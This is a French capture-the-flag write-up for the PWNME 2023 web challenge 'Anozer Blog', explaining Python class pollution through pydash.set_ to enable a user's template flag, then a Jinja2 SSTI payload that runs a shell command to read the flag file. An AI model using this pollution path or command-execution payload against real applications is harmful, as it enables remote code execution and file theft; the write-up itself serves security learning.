4 minutes
PWNME 2023 - Anozer Blog
Catégorie | Web |
Difficulté | Medium |
Auteur | JeanJeanLeHaxor#4628 |
Introduction
Objective: Read the flag, situated on the server in /app/flag.txt
Code Source
L’application est un blog permettant aux utilisateurs de visionner et de créer des articles.
Le code source est donnée sur ce challenge
.
├── app.py
├── articles.py
├── config.yaml
├── docker-compose.yml
├── Dockerfile
├── input.css
├── package.json
├── package-lock.json
├── requirements.txt
├── static
│ └── style.css
├── tailwind.config.js
├── templates
│ ├── article.html
│ ├── articles.html
│ ├── banner.html
│ ├── head.html
│ ├── home.html
│ ├── login.html
│ └── register.html
└── users.py
3 directories, 22 files
Class Polution
Dans le fichiers users.py
, on peut voir qu’un utilisateur possède 3 valeurs :
def __init__(self):
self.users['admin'] = {'password': None, 'restricted': False, 'seeTemplate':True }
C’est la dernière variable seeTemplate
qui nous intéresse car elle nous permet d’appeler le moteur de template Jinja2 lors de la lecture d’un article sur le blog. Pour tout autre utilisateur que admin
, cet attributt est mis à False
.
L’accès au template pourrait nous permettre d’effectuer une SSTI (Server Side Template Injection) afin d’executer des commandes ou de lire des fichiers.
En regardant les dépendances de l’application, on peut trouver pydash, librairie permettant de manipuler des données avec différentes fonctions.
Après quelques recherches, je tombe sur l’article suivant. Suite à une dizaine de lectures, je comprends qu’il est possible de “polluer” certains objets pythons à l’aide la fonction _set
de pydash
Cette fonction prend 3 champs en paramètres :
obj
: l’objet qui contient l’attributpath
: le chemin de l’attributvalue
: la nouvelle valeur de l’attribut
Voici un exemple avec l’interpréteur python, qui permet de modifier l’attribut d’un object :
$ python3
Python 3.11.2 (main, Feb 12 2023, 00:48:52) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pydash
>>> users = { 'sessions' : { 'francis' : True, 'monkey' : False } }
>>> pydash.set_(users,'sessions.monkey', True)
{'sessions': {'francis': True, 'monkey': True}}
Cette fonction de pydash est appelé dans le fichier article.py
:
def set(self, article_name, article_content):
pydash.set_(self, article_name, article_content)
return True
Nous allons donc modifier la valeur de l’attribut seeTemplate du user que nous venons de créer. Il nous reste donc à trouver le chemin pour accéder à l’attribut et le modifier.
Afin de débugger et de trouver le chemin, j’ai modifié la fonction set
pour afficher notre chemin petit à petit et voir les différents objets auxquels je peux accéder
def set(self, article_name, article_content):
pprint(self)
pydash.set_(self, article_name, article_content)
return True
Après des recherches et de l’aide de ce Write-Up, j’ai un payload qui me permet d’accéder aux objets de l’application : self.__init__.__globals__['__loader__'].__init__.__globals__['sys'].modules['__main__']
Il est ensuite possible d’accéder à la classe users
, qui possède un tableau d’utilisateur. Je retrouve mon utilisateur Francis
en y accédant comme ceci : users['Francis']
. On peut ensuite accéder à l’attribut seeTemplate
Notre payload est prêt, mais il est nécessaire de convertir notre payload en chemin, puisque c’est le paramètre de la fonction set
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.users.Francis.seeTemplate
Nous pouvons maintenant modifier l’attribut seeTemplate
de notre utilisateur :

Pour vérifier si la valeur de l’attribut a bien été modifié, il est possible de voir sa valeur dans le cookie de sessions Flask :
$ echo 'eyJ1c2VyIjp7InNlZVRlbXBsYXRlIjoiVHJ1ZSIsInVzZXJuYW1lIjoiRnJhbmNpcyJ9fQ.ZFqXIA.x88U500vDj0i01KKnMUZaBGLHuM' | base64 -d
{"user":{"seeTemplate":"True","username":"Francis"}}...
Nous pouvons maintenant voir les template ssur les articles
SSTI
Pour vérifier si une SSTI est possible, je vais mettre un payload de test comme contenu de l’article : {{7*7}}

Le template est bien interprété, nous pouvons donc effectuer une SSTI. Pour le payload, je vais utiliser le repo git de PayloadsAllTheThings pour voir les différents payloads utilisables. Comme je n’arrive pas à lire un fichier , je vais utilisé un payload avec exécution de commande :
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /app/flag.txt').read() }}
En retournant sur l’article, je tombe sur le résultat de la commande qui est donc le flag 🙂
